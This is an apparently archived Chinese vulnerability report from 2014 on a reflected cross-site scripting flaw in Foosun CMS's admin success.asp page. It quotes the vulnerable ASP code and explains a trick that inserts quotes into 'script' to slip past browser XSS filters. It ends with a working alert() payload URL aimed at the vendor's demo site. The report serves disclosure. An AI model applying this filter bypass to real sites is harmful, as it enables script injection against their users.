漏洞详情

披露状态:

2014-08-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

反射型跨站没啥好说的,但是绕过浏览器filter自动执行也算一个小突破吧。

详细说明:

foosuncms后台/admin/success.asp是任意用户都可以访问的。
看看出问题的代码:

<% Option Explicit %>
<!--#include file="../FS_Inc/Const.asp" -->
<!--#include file="../FS_Inc/Function.asp" -->
<%
Dim Conn,UserConn
dim p_ErrorUrl,p_ErrCodes
p_ErrorUrl = Replace(Request.QueryString("ErrorUrl"),"'","")
p_ErrorUrl=replace(p_ErrorUrl,"***","&")
p_ErrCodes = Request.QueryString("ErrCodes")
if trim(p_ErrorUrl) = "" then
p_ErrorUrl = "javascript:history.back();"
Else
p_ErrorUrl = p_ErrorUrl
End if
%>
...
<td width="88%">
<div align="left">
<% = p_ErrCodes %>
<li><a href="<% = p_ErrorUrl %>">返回上一级</a> </li>
<li><a href="http://www.foosun.cn" target="_blank">Powered by Foosun Inc.</a> <a href="http://help.foosun.net" target="_blank" style="cursor: help">帮助中心</a> <a href="http://bbs.foosun.net" target="_blank">技术论坛</a></li>
</div>


上面获得了ErrorUrl参数,在52行的位置将它放进a的href中了。
原本就是一个不用绕过浏览器filter的跨站,但是需要点击触发:

13.jpg


明显不是我们要想的结果。
那么怎么绕过浏览器filter自动执行?
首先我们要知道浏览器过滤哪些关键字,很常见的就是一个<script>,或者onerror中的on,浏览器只要见到这二者就是会过滤的:

14.jpg


再深入一点就提到浏览器filter的原理,浏览器过滤的时候是检测url的参数中、页面源代码中是否有同样的xss字段,如果有的话才说明存在跨站,才进行拦截。
也就是说,如果url中的内容和html源码中的内容不同的话,浏览器不认为这是一个跨站,也就不会防御。
所以我们看到这行代码:

p_ErrorUrl = Replace(Request.QueryString("ErrorUrl"),"'","")


它获取到ErrorUrl后,过滤了'为空。
所以,我们不妨将浏览器会过滤的敏感字符串(如script)中加入',变成<scr'ipt>,这样url中的字符串是scr'ipt,但显示在html中的字符串是script,这样浏览器就不会拦截了。
所以我最后构造的payload就是:

http://demo.foosun.net/foosun500/Admin/success.asp?ErrorUrl=%22%3E%3Cscr%27%27ipt%3Ealert(/xss/)%3C/scr%27%27ipt%3E


如图:

15.jpg


demo站演示

16.jpg

漏洞证明:

所以我最后构造的payload就是:

http://demo.foosun.net/foosun500/Admin/success.asp?ErrorUrl=%22%3E%3Cscr%27%27ipt%3Ealert(/xss/)%3C/scr%27%27ipt%3E


如图:

15.jpg


demo站演示

16.jpg

修复方案:

过滤。

标签: none

评论已关闭